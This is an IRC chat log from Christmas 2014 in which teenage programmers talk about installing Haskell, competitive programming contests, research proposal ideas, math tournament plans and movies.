[2014-12-25T20:38:29-0500] <+Tamini> benwaffle never talked to us much
[2014-12-25T20:38:39-0500] <alokpathy> Yeah.
[2014-12-25T20:38:56-0500] <+Tamini> idk, i never got along too well with him
[2014-12-25T20:39:02-0500] <+Tamini> when/why did we lose Hcnsh?
[2014-12-25T20:39:14-0500] <alokpathy> He just disappeared while back.
[2014-12-25T20:40:08-0500] <+Tamini> :/
[2014-12-25T20:40:22-0500] <+Tamini> I see Sam tomorrow, I can ask him if you'd like.
[2014-12-25T20:40:23-0500] <+LittleBobbyTables> Who wants to buy me a modmic for xmas
[2014-12-25T20:41:21-0500] <@awe> Tamini: did he leave because he got upset again?
[2014-12-25T20:43:19-0500] <+Tamini> awe: no idea
[2014-12-25T20:43:25-0500] <+Tamini> I think he just dropped and never felt like joining again
[2014-12-25T20:43:26-0500] <@awe> I hope not. .-.
[2014-12-25T20:43:32-0500] <@awe> Yeah, that's what I think, too.
[2014-12-25T20:43:53-0500] <@awe> there's 709 users in #rust on mozilla's IRC
[2014-12-25T20:44:01-0500] <+Tamini> lol
[2014-12-25T20:44:02-0500] <@awe> and 1370 users on #haskell on Freenode.
[2014-12-25T20:44:03-0500] <@awe> :D
[2014-12-25T20:44:49-0500] <+Tamini> of course.
[2014-12-25T20:44:53-0500] <+Tamini> Hey, awe.
[2014-12-25T20:44:59-0500] <+Tamini> How should I learn haskell? 
[2014-12-25T20:45:08-0500] <@awe> learnyouahaskell.com
[2014-12-25T20:45:12-0500] <+Tamini> I meant like
[2014-12-25T20:45:23-0500] <+Tamini> I don't see what I can do with it in terms of actually using it
[2014-12-25T20:46:04-0500] <hardmath123> awe: did you install haskell with homebrew?
[2014-12-25T20:46:09-0500] <@awe> hardmath123: yes
[2014-12-25T20:46:25-0500] <@awe> Tamini: anything you could do in any other language?
[2014-12-25T20:46:29-0500] <hardmath123> awe: how?
[2014-12-25T20:46:41-0500] <@awe> brew install ghc cabal-install
[2014-12-25T20:46:47-0500] <hardmath123> (my brew just sat there for 5 hours pretending to do stuff)
[2014-12-25T20:46:52-0500] <hardmath123> (not kidding)
[2014-12-25T20:46:55-0500] <@awe> Alternatively, brew install cabal-install
[2014-12-25T20:46:55-0500] <@awe> and then
[2014-12-25T20:46:58-0500] <@awe> cabal install ghc
[2014-12-25T20:48:22-0500] <zrl> I exist
[2014-12-25T20:48:35-0500] <+LittleBobbyTables> Tamini: you cn confuse people by programming in a language no one cares about
[2014-12-25T20:49:28-0500] <@awe> zrl: heya
[2014-12-25T20:49:49-0500] <+Tamini> Can I usaco with haskell
[2014-12-25T20:49:50-0500] <+Tamini> :P
[2014-12-25T20:50:01-0500] <+Tamini> zrl: hello hello
[2014-12-25T20:50:03-0500] <+Tamini> <3
[2014-12-25T20:50:04-0500] <@awe> LittleBobbyTables: If nobody cared about it, why would most languages be actively influenced by it?
[2014-12-25T20:50:06-0500] <+Tamini> talk to us, we don't bite
[2014-12-25T20:50:13-0500] <@awe> LittleBobbyTables: it's having a pretty strong impact on a great deal of languages right now.
[2014-12-25T20:50:16-0500] <@awe> LittleBobbyTables: including Rust.
[2014-12-25T20:50:32-0500] <ubuntor> zrl: hey
[2014-12-25T20:53:13-0500] <@awe> hardmath123: if it was specifically ghc not installing, try installing it from cabal.
[2014-12-25T20:58:09-0500] <+JacobEdelman> ahhh
[2014-12-25T20:58:20-0500] <+JacobEdelman> I'm gonna be kicked off the list?
[2014-12-25T20:58:27-0500] <+JacobEdelman> clearly I need to have you over to my house
[2014-12-25T20:58:30-0500] <+JacobEdelman> and indoctrinate you
[2014-12-25T20:58:34-0500] <+JacobEdelman> with jacobism
[2014-12-25T20:58:41-0500] <+JacobEdelman> *awe's list
[2014-12-25T20:59:09-0500] <+JacobEdelman> wow
[2014-12-25T20:59:14-0500] <+JacobEdelman> lots of people online now
[2014-12-25T20:59:30-0500] <@awe> JacobEdelman: you better get into type systems before you get kicked off. :D
[2014-12-25T20:59:33-0500] <hardmath123> awe: cabal-install needs ghc as a dependency, so it's the same thing either way
[2014-12-25T20:59:37-0500] <hardmath123> :(
[2014-12-25T20:59:46-0500] <@awe> oh, damn.
[2014-12-25T20:59:48-0500] <hardmath123> it gets stuck on `make`
[2014-12-25T20:59:56-0500] <@awe> It works fine for me.
[2014-12-25T20:59:58-0500] <@awe>  /shrug
[2014-12-25T21:00:02-0500] <hardmath123> did it take you a really long time to brew? if so, I'll just leave it on overnight.
[2014-12-25T21:00:09-0500] <@awe> I don't remember.
[2014-12-25T21:00:12-0500] <@awe> I installed it a while ago.
[2014-12-25T21:01:38-0500] <@awe> hardmath123: are you on Yosemite?
[2014-12-25T21:01:47-0500] <@awe> hardmath123: I think there's a bottled version of GHC for Yosemite.
[2014-12-25T21:01:47-0500] <hardmath123> no, Mavericks
[2014-12-25T21:01:56-0500] <@awe> Upgrade to Yosemite, yo.
[2014-12-25T21:01:59-0500] <@awe> It's awesome.
[2014-12-25T21:02:38-0500] <hardmath123> aggressively flat UIs make me slightly queasy
[2014-12-25T21:02:45-0500] <@awe> Oh.
[2014-12-25T21:02:47-0500] <@awe> I'm the opposite.
[2014-12-25T21:02:51-0500] <@awe> I love flat UIs.
[2014-12-25T21:02:55-0500] <hardmath123> i'll get over it once the rest of the world moves on
[2014-12-25T21:02:55-0500] <alokpathy> zrl: Ayo
[2014-12-25T21:02:59-0500] <alokpathy> Tamini: You can :P
[2014-12-25T21:03:14-0500] <alokpathy> Also +1 for LYAH
[2014-12-25T21:03:36-0500] <hardmath123> but until until then, buttons suddenly going from beautiful glassy things to plain ol' rectangles is going to be hard.
[2014-12-25T21:04:21-0500] <alokpathy> Tamini: Lol my mom suggested taking the family to watch The Interview.
[2014-12-25T21:04:25-0500] <@awe> I much prefer the plain ol rectangles.
[2014-12-25T21:04:25-0500] <alokpathy> Tamini: Then I remembered the sex scenes
[2014-12-25T21:04:27-0500] <@awe> There's much less noise.
[2014-12-25T21:04:30-0500] <alokpathy> and said it wasn't worth it.
[2014-12-25T21:04:59-0500] <zrl> i didn't find lyah that useful
[2014-12-25T21:05:02-0500] <zrl> i liked it as a reference
[2014-12-25T21:05:09-0500] <+Tamini> alokpathy: OH GOD THE SEX SCENES
[2014-12-25T21:05:09-0500] <zrl> and went through the first few chapters
[2014-12-25T21:05:09-0500] <+JacobEdelman> ... you still need to watch star wars alokpathy
[2014-12-25T21:05:11-0500] <+Tamini> LOL
[2014-12-25T21:05:18-0500] <@awe> There's also Real World Haskell.
[2014-12-25T21:05:20-0500] <@awe> Which is also good.
[2014-12-25T21:05:28-0500] <jwoglom> ..there are sex scenes in the interview?
[2014-12-25T21:05:29-0500] <zrl> but i learned a lot more by actually building projects
[2014-12-25T21:05:30-0500] <jwoglom> should have figured
[2014-12-25T21:05:34-0500] <+Tamini> awe: hm?
[2014-12-25T21:05:37-0500] <@awe> zrl: well, yeah, always.
[2014-12-25T21:05:41-0500] <alokpathy> Tamini: "No hands" LOL
[2014-12-25T21:05:42-0500] <+Tamini> alok and i both need to watch star wars
[2014-12-25T21:05:42-0500] <@awe> Tamini: it's another book.
[2014-12-25T21:05:44-0500] <+Tamini> LOL
[2014-12-25T21:05:44-0500] <alokpathy> jwoglom: yeah, lol
[2014-12-25T21:05:48-0500] <alokpathy> JacobEdelman: Yeah, i will.
[2014-12-25T21:05:51-0500] <+Tamini> alokpathy: dude, usaco accepts haskell?
[2014-12-25T21:05:52-0500] <@awe> jwoglom: it's a shitty Seth Rogen film. Of course there is.
[2014-12-25T21:05:53-0500] <+Tamini> since when
[2014-12-25T21:05:56-0500] <alokpathy> I tried watching yesterday, but it wasn't on on demand.
[2014-12-25T21:06:07-0500] <alokpathy> Tamini: No, but you can get the test cases.
[2014-12-25T21:06:09-0500] <alokpathy> Tamini: And just test manually.
[2014-12-25T21:06:12-0500] <alokpathy> Tamini: ACtually, wait
[2014-12-25T21:06:17-0500] <alokpathy> Tamini: Codeforces accepts Haskell.
[2014-12-25T21:06:24-0500] <+JacobEdelman> okay, so, star wars night
[2014-12-25T21:06:26-0500] <+JacobEdelman> when?
[2014-12-25T21:06:34-0500] <alokpathy> JacobEdelman: Sometime.
[2014-12-25T21:06:55-0500] <alokpathy> Tamini: Codeforces accepts a shitton of languages, lol.
[2014-12-25T21:07:31-0500] <alokpathy> Puss in Boots is the best Shrek character <3
[2014-12-25T21:08:38-0500] <+Tamini> alokpathy: so does this mean cf> usaco
[2014-12-25T21:08:43-0500] <+Tamini> wait lemme tell my friend this
[2014-12-25T21:08:58-0500] <alokpathy> Tamini: Not in terms of timing.
[2014-12-25T21:09:03-0500] <alokpathy> Tamini: Lol I got rekt on the last CF round.
[2014-12-25T21:09:25-0500] <alokpathy> My first one since two years ago xd
[2014-12-25T21:09:42-0500] <+Tamini> lolol
[2014-12-25T21:09:44-0500] <+Tamini> I didn't even do cf
[2014-12-25T21:09:56-0500] <+Tamini> like matt tracks me so I'm perpetually afraid to do it in case i heck up
[2014-12-25T21:10:18-0500] <alokpathy> Tamini: odang
[2014-12-25T21:10:18-0500] <alokpathy> Tamini: Don't tell him my handle LOL
[2014-12-25T21:11:41-0500] <+Tamini> LIKE
[2014-12-25T21:11:44-0500] <+Tamini> didn't i tell you
[2014-12-25T21:11:48-0500] <+Tamini> he called me like 3 times
[2014-12-25T21:11:49-0500] <+Tamini> texted me
[2014-12-25T21:11:51-0500] <+Tamini> and fb chatted me
[2014-12-25T21:11:55-0500] <+Tamini> one morning to wake me up for cs
[2014-12-25T21:12:07-0500] <+Tamini> I woke up, yelled at him, and went back to bed
[2014-12-25T21:12:09-0500] <+Tamini> ._.
[2014-12-25T21:13:11-0500] <alokpathy> No you did not LOL
[2014-12-25T21:15:23-0500] <+JacobEdelman> alokpathy: I'm fairly sure she did, why would she by lying to you? :P
[2014-12-25T21:15:28-0500] <+Tamini> He's very very uh
[2014-12-25T21:15:32-0500] <+Tamini> passionate about me + cs
[2014-12-25T21:15:39-0500] <+Tamini> next cf, you and me, we gotta do it
[2014-12-25T21:15:41-0500] <+Tamini> even if its at 3am
[2014-12-25T21:16:56-0500] <alokpathy> Next one is on New Year's Eve
[2014-12-25T21:16:58-0500] <alokpathy> 11:30am
[2014-12-25T21:17:09-0500] <alokpathy> Shao's doing it too.
[2014-12-25T21:21:51-0500] <+Tamini> oh wait damn
[2014-12-25T21:21:54-0500] <+Tamini> i think I have a party
[2014-12-25T21:21:59-0500] <+Tamini> SCREW THAT LETS CF
[2014-12-25T21:22:00-0500] <+Tamini> LOL
[2014-12-25T21:22:04-0500] <+Tamini> (am i doing cool teenager right)
[2014-12-25T21:22:09-0500] <hardmath123> awe: fyi, my computer now sounds like a jet plane. I hope homebrew knows what it's doing. :/
[2014-12-25T21:22:44-0500] <@awe> O lawd.
[2014-12-25T21:23:03-0500] <alokpathy> Except he's in Div 1 now.
[2014-12-25T21:23:40-0500] <alokpathy> Tamini: xD
[2014-12-25T21:24:37-0500] <+Tamini> damn shao
[2014-12-25T21:24:58-0500] <+Tamini> hey hey alokpathy 
[2014-12-25T21:25:03-0500] <+Tamini> didnt we say we would arch sometime
[2014-12-25T21:25:21-0500] <alokpathy> Yeah.
[2014-12-25T21:25:31-0500] <alokpathy> I'm not done with college apps.
[2014-12-25T21:25:46-0500] <alokpathy> After that, I'll have enough time for Arch.
[2014-12-25T21:26:31-0500] <+Tamini> can we finish them by new years
[2014-12-25T21:26:32-0500] <+Tamini> <3
[2014-12-25T21:26:46-0500] <alokpathy> I have to LOL
[2014-12-25T21:26:47-0500] <+Tamini> also I still have no idea what to propose for the cs half of my project :/
[2014-12-25T21:27:02-0500] <+Tamini> can we finish by the time I'm back from new york?
[2014-12-25T21:27:46-0500] <alokpathy> @tell JacobEdelman Do you remember that problem Sanjeev Khanna told us? He said it wasn't impossible for a high schooler to get, but still difficult.
[2014-12-25T21:27:46-0500] <mailbot> alokpathy: I'll let them know!
[2014-12-25T21:27:54-0500] <alokpathy> @tell JacobEdelman It had something to do with cliques.
[2014-12-25T21:27:54-0500] <mailbot> alokpathy: I'll let them know!
[2014-12-25T21:28:03-0500] <alokpathy> Tamini: When do you come back?
[2014-12-25T21:28:06-0500] <+JacobEdelman> I don't remember it
[2014-12-25T21:28:07-0500] <mailbot> JacobEdelman: Moments ago, alokpathy said Do you remember that problem Sanjeev Khanna told us? He said it wasn't impossible for a high schooler to get, but still difficult.
[2014-12-25T21:28:07-0500] <mailbot> JacobEdelman: Moments ago, alokpathy said It had something to do with cliques.
[2014-12-25T21:28:11-0500] <+Tamini> alokpathy: tuesday, probably
[2014-12-25T21:28:29-0500] <+Tamini> also I'm looking for like an undergrad-level research problem
[2014-12-25T21:28:34-0500] <+JacobEdelman> I can arch new years with you two
[2014-12-25T21:28:50-0500] <+Tamini> oh yay <3
[2014-12-25T21:28:51-0500] <+JacobEdelman> solve cryptogenography
[2014-12-25T21:28:54-0500] <+Tamini> haha
[2014-12-25T21:29:00-0500] <+JacobEdelman> (look it up on google scholar)
[2014-12-25T21:29:02-0500] <+Tamini> I have a party but otherwise I should be fine
[2014-12-25T21:29:05-0500] <+JacobEdelman> (if you solve it I
[2014-12-25T21:29:10-0500] <+JacobEdelman> I'll kill you
[2014-12-25T21:29:15-0500] <+JacobEdelman> since I've been working on the problem
[2014-12-25T21:29:18-0500] <+JacobEdelman> for over a year
[2014-12-25T21:29:18-0500] <alokpathy> I'll look back in my notes when I go back upstairs.
[2014-12-25T21:29:18-0500] <+JacobEdelman> )
[2014-12-25T21:29:37-0500] <+Tamini> OH WAIT
[2014-12-25T21:29:40-0500] <+Tamini> I KNOW THIS PROBLEM
[2014-12-25T21:30:05-0500] <alokpathy> Tamini: The clique one or cryptogen?
[2014-12-25T21:30:10-0500] <+Tamini> cryptogen
[2014-12-25T21:30:12-0500] <+Tamini> the generic one
[2014-12-25T21:30:58-0500] <alokpathy> Ah, yes, the one where I kill somebody and Ben is the NSA.
[2014-12-25T21:30:59-0500] <+JacobEdelman> you know it?
[2014-12-25T21:31:11-0500] <+JacobEdelman> I went to a conference, where they presented the paper on it
[2014-12-25T21:31:23-0500] <+Tamini> Are there any open problems relevant to it?
[2014-12-25T21:31:27-0500] <+JacobEdelman> yes
[2014-12-25T21:31:28-0500] <+JacobEdelman> it
[2014-12-25T21:31:37-0500] <+JacobEdelman> (assuming you know it)
[2014-12-25T21:31:42-0500] <+JacobEdelman> proof for the case of 2 people
[2014-12-25T21:31:48-0500] <+JacobEdelman> (best, optimal, whatever)
[2014-12-25T21:31:52-0500] <+JacobEdelman> the genveral problem
[2014-12-25T21:32:02-0500] <+JacobEdelman> better bounds
[2014-12-25T21:32:03-0500] <+JacobEdelman> and such
[2014-12-25T21:32:25-0500] <+Tamini> oh, true
[2014-12-25T21:32:30-0500] <+Tamini> wait this is actually a really good problem to research
[2014-12-25T21:32:41-0500] <+JacobEdelman> it is
[2014-12-25T21:32:42-0500] <+Tamini> can i pleeeeeeeease write this up :(
[2014-12-25T21:32:42-0500] <+JacobEdelman> awesome
[2014-12-25T21:32:44-0500] <+JacobEdelman> and very hard
[2014-12-25T21:32:50-0500] <+JacobEdelman> write what up?
[2014-12-25T21:32:52-0500] <+Tamini> uh
[2014-12-25T21:32:55-0500] <+Tamini> research proposal
[2014-12-25T21:32:59-0500] <+JacobEdelman> for what?
[2014-12-25T21:33:02-0500] <+Tamini> rsi
[2014-12-25T21:33:06-0500] <+JacobEdelman> fine
[2014-12-25T21:33:07-0500] <+Tamini> <3
[2014-12-25T21:33:13-0500] <+Tamini> i'll buy you food at hmmt to make it up to you
[2014-12-25T21:33:16-0500] <+Tamini> do you guys do team dinner or
[2014-12-25T21:33:23-0500] <+Tamini> do you kids split up
[2014-12-25T21:33:52-0500] <alokpathy> Tamini: Team
[2014-12-25T21:34:09-0500] <alokpathy> Tamini: Well, I think last time a few separated.
[2014-12-25T21:34:28-0500] <+JacobEdelman> Tamini: the big problem is that you may not make much progress
[2014-12-25T21:34:36-0500] <+JacobEdelman> I mean, I have spent weeks on it and made no progress
[2014-12-25T21:34:42-0500] <+JacobEdelman> well, no real progress
[2014-12-25T21:34:45-0500] <+Tamini> If I go to RSI
[2014-12-25T21:34:47-0500] <+Tamini> I will make progress
[2014-12-25T21:34:51-0500] <+JacobEdelman> ...
[2014-12-25T21:34:57-0500] <+Tamini> you underestimate that program
[2014-12-25T21:35:06-0500] <+Tamini> alokpathy: come eat dinner with me then
[2014-12-25T21:35:12-0500] <+Tamini> or like I'll bring Robin and crash your dinner
[2014-12-25T21:35:22-0500] <+JacobEdelman> crash our dinner
[2014-12-25T21:35:23-0500] <alokpathy> That works, lol.
[2014-12-25T21:35:28-0500] <+JacobEdelman> I'm required by berger to go
[2014-12-25T21:35:35-0500] <+JacobEdelman> I need to ask for the 2 for 1 pizza deal
[2014-12-25T21:35:56-0500] <alokpathy> Oh, wait, dinner
[2014-12-25T21:36:08-0500] <alokpathy> Tamini: We eat dinner in a rest area on the way.
[2014-12-25T21:36:11-0500] <+JacobEdelman> (4 years ago at hmmt there was a 2 for 1 pizza deal, berger asked for the deal every year afterwards, and he has told me I have to take over now)
[2014-12-25T21:36:16-0500] <alokpathy> Tamini: We eat lunch in Boston.
[2014-12-25T21:36:27-0500] <+Tamini> wait you don't eat there
[2014-12-25T21:36:28-0500] <alokpathy> Tamini: Crash our lunch instead.
[2014-12-25T21:36:30-0500] <+Tamini> smh, you
[2014-12-25T21:36:45-0500] <alokpathy> also brb
[2014-12-25T21:36:47-0500] <+JacobEdelman> I liked hmmt.... I got sick on gummy bears afterwards... it was fun
[2014-12-25T21:36:52-0500] <+Tamini> There's a WONDERFUL korean fried chicken place in boston
[2014-12-25T21:36:58-0500] <+Tamini> you gotta convince your team to stay for dinner
[2014-12-25T21:37:51-0500] <+JacobEdelman> ... I'm kosher
[2014-12-25T21:38:50-0500] <+Tamini> wait I don't even know where we have lunch
[2014-12-25T21:38:55-0500] <+Tamini> JacobEdelman: sucks to be you <3
[2014-12-25T21:38:57-0500] <+Tamini> OH
[2014-12-25T21:38:59-0500] <+Tamini> WAIT
[2014-12-25T21:39:06-0500] <+Tamini> I think hmmt might be that thing where 
[2014-12-25T21:40:34-0500] <+Tamini> ...oh wait
[2014-12-25T21:40:44-0500] <+Tamini> yeah, we get chipotle there I think.
[2014-12-25T21:40:55-0500] <+Tamini> alokpathy: sweetie, where's berger and what the hell is he majoring in
[2014-12-25T21:41:28-0500] <+JacobEdelman> hes at yale
[2014-12-25T21:41:31-0500] <+JacobEdelman> and is majoring in math
[2014-12-25T21:41:35-0500] <+JacobEdelman> just like his dad
[2014-12-25T21:41:39-0500] <+JacobEdelman> and his mom I think
[2014-12-25T21:41:59-0500] <+JacobEdelman> (although his mom may not have majored in math... though she is an accountant I think, so who knows)
[2014-12-25T21:42:05-0500] <+JacobEdelman> no wait
[2014-12-25T21:42:11-0500] <+JacobEdelman> shes an actuarain or something
[2014-12-25T21:47:10-0500] <+Tamini> oh okay so
[2014-12-25T21:47:22-0500] <+Tamini> can I ask him to help me find research
[2014-12-25T21:47:22-0500] <+Tamini> LOL
[2014-12-25T21:47:39-0500] <+Tamini> (why is he not on here :( )
[2014-12-25T21:47:48-0500] <+Tamini> I miss berger, berger was so smart at math it made me happy.
[2014-12-25T21:51:13-0500] <alokpathy> Berger is great.
[2014-12-25T21:52:12-0500] <alokpathy> Tamini: Oh, wait
[2014-12-25T21:52:15-0500] <alokpathy> I lied
[2014-12-25T21:52:23-0500] <alokpathy> we have dinner in Boston day before HMMT.
[2014-12-25T21:52:28-0500] <alokpathy> Day after we eat at a rest area.
[2014-12-25T21:52:57-0500] <+Tamini> oh, we have dinner at boston day of hmmt
[2014-12-25T21:53:12-0500] <+Tamini> and the day before but I think we have to stick near the station
[2014-12-25T21:53:29-0500] <+Tamini> alokpathy: you should get berger here. 
[2014-12-25T21:55:01-0500] <alokpathy> Tamini: He's rarely online.
[2014-12-25T21:55:08-0500] <+Tamini> :(
[2014-12-25T21:55:16-0500] <+Tamini> wait, question
[2014-12-25T21:55:20-0500] <+Tamini> is information theory more math or more cs
[2014-12-25T21:55:27-0500] <alokpathy> Um
[2014-12-25T21:55:29-0500] <alokpathy> math
[2014-12-25T21:55:42-0500] <alokpathy> It's a CS field
[2014-12-25T21:55:42-0500] <alokpathy> but it's very theoretical.
[2014-12-25T21:55:53-0500] <+Tamini> can i still call it cs research
[2014-12-25T21:56:27-0500] <alokpathy> I think so, yeah.
[2014-12-25T21:58:57-0500] <+JacobEdelman> 4.63% of the way todownloading all of the english wikipedia
[2014-12-25T21:59:06-0500] <+JacobEdelman> infromation theory is fun!
[2014-12-25T21:59:22-0500] <+JacobEdelman> infromation theory is cs theory is math
[2014-12-25T21:59:24-0500] <+JacobEdelman> really
[2014-12-25T21:59:32-0500] <+Tamini> I mean I need to have 1 cs 1 math
[2014-12-25T21:59:33-0500] <+JacobEdelman> its not in the engineering/non-math area of cs
[2014-12-25T21:59:38-0500] <+Tamini> my interests blur the boundaries
[2014-12-25T21:59:39-0500] <+Tamini> lol
[2014-12-25T21:59:42-0500] <+JacobEdelman> so do mine
[2014-12-25T22:00:07-0500] <+Tamini> I don't know whether to call it math and find a new math one or call it cs and find a new cs one.
[2014-12-25T22:01:31-0500] <alokpathy> I think CS would be more appropriate. 
[2014-12-25T22:02:11-0500] <+Tamini> okay, yay
[2014-12-25T22:02:14-0500] <+Tamini> so i can keep my math one
[2014-12-25T22:02:14-0500] <+Tamini> <3
[2014-12-25T22:03:03-0500] <alokpathy> Yeah.
[2014-12-25T22:03:08-0500] <alokpathy> yey
[2014-12-25T22:04:04-0500] <+Tamini> also alokpathy: 
[2014-12-25T22:04:21-0500] <+Tamini> were you talking about the graph theory problems with minor-free graphs
[2014-12-25T22:04:23-0500] <+Tamini> counting cliques
[2014-12-25T22:06:58-0500] <alokpathy> Oh, i think.
[2014-12-25T22:07:37-0500] <+Tamini> that's a really really reallllly hard graph theory problem
[2014-12-25T22:07:39-0500] <+Tamini> >___>
[2014-12-25T22:10:59-0500] <alokpathy> Yeah, it's still difficult.
[2014-12-25T22:31:55-0500] <+JacobEdelman> 31% of the way towards downloading wikipedia
[2014-12-25T22:35:29-0500] <+Tamini> lol
[2014-12-25T22:35:35-0500] <+Tamini> you have too much free time sweetie
[2014-12-25T22:36:09-0500] <alokpathy> Free time :(
[2014-12-25T22:44:16-0500] <+JacobEdelman> yup :)
[2014-12-25T22:44:16-0500] <alokpathy> Lol the allusions to Shrek 1 in Shrek 4
[2014-12-25T22:45:28-0500] <+JacobEdelman> ... you're watching shrek 4 instead of something good...
[2014-12-25T22:45:47-0500] <+JacobEdelman> (40% !)
[2014-12-25T22:46:10-0500] <alokpathy> My standards are low.
[2014-12-25T22:46:29-0500] <alokpathy> This is amazing. 
[2014-12-25T22:48:08-0500] <+JacobEdelman> ...
[2014-12-25T22:48:10-0500] <+JacobEdelman> note to self
[2014-12-25T22:48:38-0500] <+JacobEdelman> introduce good movies to alok
[2014-12-25T22:49:13-0500] <alokpathy> I watched Guardians.
[2014-12-25T22:49:20-0500] <alokpathy> That's a good one.
[2014-12-25T22:49:38-0500] <+LittleBobbyTables> No one wants to buy me a modmic? :(
[2014-12-25T22:50:06-0500] <+Tamini> lol
[2014-12-25T22:50:08-0500] <+Tamini> JacobEdelman: me too
[2014-12-25T22:50:12-0500] <+Tamini> I like watching movies with alok
[2014-12-25T22:50:14-0500] <+Tamini> we laugh at similar things
[2014-12-25T22:50:32-0500] <alokpathy> Like dictators exploding. 
[2014-12-25T22:50:41-0500] <+Tamini> and puppies.
[2014-12-25T22:50:52-0500] <alokpathy> but not puppies exploding. 
[2014-12-25T22:51:06-0500] <+Tamini> well, obviously
[2014-12-25T22:51:10-0500] <+Tamini> alok alok
[2014-12-25T22:51:11-0500] <+Tamini> watch mean girls.
[2014-12-25T22:51:16-0500] <alokpathy> ?
[2014-12-25T22:51:54-0500] <+JacobEdelman> .... 
[2014-12-25T22:52:00-0500] <+JacobEdelman> okay, starting in a few days
[2014-12-25T22:52:06-0500] <+JacobEdelman> I am educating yall
[2014-12-25T22:52:08-0500] <+JacobEdelman> on good movies
[2014-12-25T22:52:41-0500] <alokpathy> I heard things about 50 Shades.
[2014-12-25T22:53:01-0500] <+Tamini> LOL
[2014-12-25T22:53:05-0500] <+Tamini> alokpathy: mean girls.
[2014-12-25T22:53:07-0500] <+Tamini> good movie.
[2014-12-25T22:53:08-0500] <+Tamini> <3
[2014-12-25T22:54:29-0500] <alokpathy> I heard good things about Gone Girl too.
[2014-12-25T22:55:07-0500] <+JacobEdelman> http://goo.gl/forms/E5Om7xI5s2
[2014-12-25T22:55:46-0500] <+Tamini> oh wait
[2014-12-25T22:55:50-0500] <+Tamini> I think i watched uh
[2014-12-25T22:55:55-0500] <+Tamini> a trailer for that
[2014-12-25T22:56:10-0500] <+Tamini> wow, you made a google forms for us?
[2014-12-25T22:56:16-0500] <+JacobEdelman> awe, LittleBobbyTables, bob_twinkles , butthole, hardmath123, Hyper, jwoglom , jwoglras1 , nezorg, NotAPharynx , ubuntor, zrl look at http://goo.gl/forms/E5Om7xI5s2
[2014-12-25T22:56:17-0500] <+Tamini> alokpathy: do you have popcorntime
[2014-12-25T22:56:18-0500] <+JacobEdelman> yes
[2014-12-25T22:56:21-0500] <nezorg> I'm halfway through the interview right now
[2014-12-25T22:56:26-0500] <+Tamini> if so, we should do movienight
[2014-12-25T22:56:26-0500] <jwoglom> hi
[2014-12-25T22:56:30-0500] <+JacobEdelman> we will
[2014-12-25T22:56:31-0500] <+Tamini> nezorg: should've watched it with us :P
[2014-12-25T22:56:32-0500] <+JacobEdelman> not tonight
[2014-12-25T22:56:38-0500] <+JacobEdelman> look at the form
[2014-12-25T22:56:38-0500] <+JacobEdelman> http://goo.gl/forms/E5Om7xI5s2
[2014-12-25T22:56:42-0500] <+Tamini> JacobEdelman: psh, you weren't invited :P
[2014-12-25T22:56:43-0500] <+Tamini> <3
[2014-12-25T22:56:47-0500] <nezorg> Tamini: sorry :'(
[2014-12-25T22:56:52-0500] <+Tamini> :(
[2014-12-25T22:56:55-0500] <+JacobEdelman> I'm giving Tamini , alokpathy an education
[2014-12-25T22:56:57-0500] <+Tamini> you haven't been around much
[2014-12-25T22:57:08-0500] <alokpathy> Tamini: wazzat
[2014-12-25T22:57:20-0500] <alokpathy> nezorg: What part are you on? :o
[2014-12-25T22:57:27-0500] <nezorg> Tamini: I got 3d rendering in rust working on the rift :D
[2014-12-25T22:57:30-0500] <+Tamini> alokpathy: its like bittorrent for movies go do it
[2014-12-25T22:57:32-0500] <+Tamini> nezorg: whoooa
[2014-12-25T22:57:33-0500] <nezorg> alokpathy: the tiger part
[2014-12-25T22:57:36-0500] <+Tamini> brag to awe and bob_twinkles
[2014-12-25T22:57:39-0500] <+Tamini> nezorg: oh my god <3
[2014-12-25T22:57:40-0500] <+Tamini> LOL
[2014-12-25T22:57:43-0500] <alokpathy> LOLOL
[2014-12-25T22:57:44-0500] Tamini (Tamini@pdgn-4jd.4t2.2bemd8.IP) left the channel ("Leaving")
[2014-12-25T22:57:48-0500] Tamini (Tamini@pdgn-4jd.4t2.2bemd8.IP) joined the channel
[2014-12-25T22:57:48-0500] Pidgey sets mode +v Tamini
[2014-12-25T22:57:58-0500] <alokpathy> nezorg: You made Tamini laugh so hard she quit.
[2014-12-25T22:58:00-0500] <+Tamini> nezorg: IT GETS REALLY AWFUL/GREAT REALLY SOON
[2014-12-25T22:58:11-0500] <+Tamini> alokpathy: you know exactly what im referring to 
[2014-12-25T22:58:14-0500] <bob_twinkles> nezorg: well done, please tell me you're not like the morons in my techlab class using node-webkit =P
[2014-12-25T22:58:30-0500] <alokpathy> Tamini: Yeah LOL
[2014-12-25T22:58:47-0500] <nezorg> bob_twinkles: ...for the rift?
[2014-12-25T22:58:51-0500] <bob_twinkles> yes
[2014-12-25T22:59:05-0500] <bob_twinkles> and they're doing leap integration
[2014-12-25T22:59:10-0500] <bob_twinkles> the whole thing makes me sad
[2014-12-25T22:59:16-0500] <@awe> nezorg: nice.
[2014-12-25T22:59:20-0500] <@awe> nezorg: I like all of those things.
[2014-12-25T22:59:50-0500] <alokpathy> nezorg: You got the awe seal of approval.
[2014-12-25T22:59:53-0500] <+JacobEdelman> awe: http://goo.gl/forms/E5Om7xI5s2
[2014-12-25T22:59:59-0500] <bob_twinkles> they're like "we don't need performance" and I'm like PLS
[2014-12-25T23:00:03-0500] <bob_twinkles> but they no listen
[2014-12-25T23:00:11-0500] <+JacobEdelman> performance is for wimps
[2014-12-25T23:00:40-0500] <bob_twinkles> and people doing, y'know, real things
[2014-12-25T23:00:57-0500] <bob_twinkles> like trying to not have motionsick users hurl on the floor
[2014-12-25T23:01:26-0500] <+JacobEdelman> nah
[2014-12-25T23:01:33-0500] <+JacobEdelman> thats a feature
[2014-12-25T23:01:34-0500] <+JacobEdelman> not a bug
[2014-12-25T23:01:44-0500] <bob_twinkles> y'think slideshow framerates are bad on a 2D monitor? imagine that in your entire vision
[2014-12-25T23:02:21-0500] <+JacobEdelman> I have horrible, horrible vision
[2014-12-25T23:02:31-0500] <+JacobEdelman> no matter how bad the oculus is
[2014-12-25T23:02:38-0500] <+JacobEdelman> it'll be better than my vision
[2014-12-25T23:02:47-0500] <+JacobEdelman> .... but I have glasses so that doesn't really make sense
[2014-12-25T23:02:49-0500] <+JacobEdelman> ignore me
[2014-12-25T23:02:53-0500] <+JacobEdelman> and just fill out http://goo.gl/forms/E5Om7xI5s2
[2014-12-25T23:02:54-0500] <bob_twinkles> I'm pretty sure your eyes don't run at 0.5 fps
[2014-12-25T23:02:58-0500] <bob_twinkles> I did
[2014-12-25T23:03:43-0500] <+Tamini> lol
